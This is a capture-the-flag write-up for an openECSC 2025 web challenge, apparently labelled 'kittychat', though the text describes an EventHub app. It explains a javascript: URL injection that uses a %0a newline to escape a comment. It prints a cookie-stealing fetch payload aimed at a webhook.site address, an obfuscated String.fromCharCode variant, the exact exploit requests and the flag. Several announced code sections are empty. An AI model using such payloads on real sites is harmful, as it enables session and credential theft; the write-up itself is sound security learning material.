openECSC 2025¶
Challenge: kittychat¶
Tags: web¶
Difficulty: Medium¶
Table of Contents¶
Solution Overview¶
EventHub lets users create events with arbitrary URLs (protocol + domain + path) that auto-redirect on the event page. The admin bot visits reported URLs on http://127.0.0.1/ with a non-HttpOnly cookie containing the flag. By creating an event with protocol=javascript and injecting a percent-encoded newline (%0a) in the path, I break out of the javascript:// comment and execute arbitrary JavaScript in the admin's browser context. This allows me to exfiltrate document.cookie to a webhook, capturing the flag. The exploit abuses browser URL decoding behavior where %0a becomes a real newline before the javascript: URL is interpreted.
Tools Used¶
- Python 3 with
requestslibrary - webhook.site for flag exfiltration
- Browser DevTools for debugging
Solution¶
When I first opened the challenge, I saw a simple event management app. Users can:
- Create events with a name, protocol, domain, and path
- View event details at /event/<id>
- Report URLs to an admin bot
The event detail page caught my attention immediately—it has an auto-redirect feature:
<script>
if (new URLSearchParams(window.location.search).get("auto_redir") === "1") {
window.location = "{{ event_url.to_url() }}";
}
</script>
First thought: "If I control event_url, can I make this redirect somewhere malicious?"
Finding the Pieces¶
Piece 1: The Admin Cookie¶
Looking at main.py, the admin bot does something interesting:
Aha! The flag is in a cookie that's not HttpOnly, meaning JavaScript can read it. If I can execute JS in the admin's context, I win.
Piece 2: The Report Restriction¶
The /report endpoint only accepts URLs starting with http://127.0.0.1/:
So I need to make my payload work via a URL on the same origin as the admin's cookie.
Piece 3: The URL Construction¶
When creating an event, the app stores protocol, domain, and path separately. The URL is reconstructed as:
Key observation: There's NO validation on what protocol can be! It just lowercases it. What if I use javascript as the protocol?
The Exploit Chain¶
Here's my thought process:
-
"Can I use
javascript:URLs?"
Yes! The app accepts any protocol. So I can create:javascript://something -
"But wait,
javascript://makes everything a comment..."
Right. Injavascript://alert(1), everything after//is a comment. The code won't execute. -
"How do I break out of the comment?"
Comments in JavaScript only go to the end of the line. If I inject a newline, the next line will execute! -
"Can I inject a newline in the URL?"
Yes! I can use%0a(URL-encoded newline) in thepathfield. Browsers decode this before interpreting thejavascript:URL. -
"So the final payload would be..."
javascript://ignored%0afetch("https://webhook.site/...?c=" + document.cookie)
When the browser decodes %0a → newline → the fetch() runs!
Weaponizing the Exploit¶
I needed to exfiltrate the cookie to my webhook. Here's the JavaScript payload:
fetch("https://webhook.site/8b78691f-3d1f-4ca1-bcaa-0bcb344a8508?c=" + encodeURIComponent(document.cookie))
To avoid WAF issues or detection, I obfuscated the webhook URL using String.fromCharCode():
fetch(String.fromCharCode(104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,56,98,55,56,54,57,49,102,45,51,100,49,102,45,52,99,97,49,45,98,99,97,97,45,48,98,99,98,51,52,52,97,56,53,48,56,63,99,61).concat(encodeURIComponent(document.cookie)))
(Not strictly necessary, but felt cool 😎)
Putting It All Together¶
Step 1: Create the Malicious Event¶
I sent this POST request to /event:
POST /event HTTP/1.1
Content-Type: application/x-www-form-urlencoded
name=x&protocol=javascript&domain=x&path=%0afetch(String.fromCharCode(104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,56,98,55,56,54,57,49,102,45,51,100,49,102,45,52,99,97,49,45,98,99,97,97,45,48,98,99,98,51,52,52,97,56,53,48,56,63,99,61).concat(encodeURIComponent(document.cookie)))
This creates an event with URL:
javascript://x%0afetch(...)
The app returned: Location: /event/<id>
Step 2: Trigger the Admin Bot¶
I reported this URL to the admin:
POST /report HTTP/1.1
Content-Type: application/x-www-form-urlencoded
url=http://127.0.0.1/event/<id>?auto_redir=1
When the admin visits, the page auto-redirects to our javascript: URL, the browser decodes %0a, the newline breaks the comment, and our fetch() executes—sending the cookie to my webhook!
Step 3: Capture the Flag¶
Checking my webhook, I received:
Decoding: admin=openECSC{i_hate_browser_differentials_🤮_202c574bc2f5}
Flag captured!
Solution Script¶
Flag¶
Flag: openECSC{i_hate_browser_differentials_🤮_202c574bc2f5}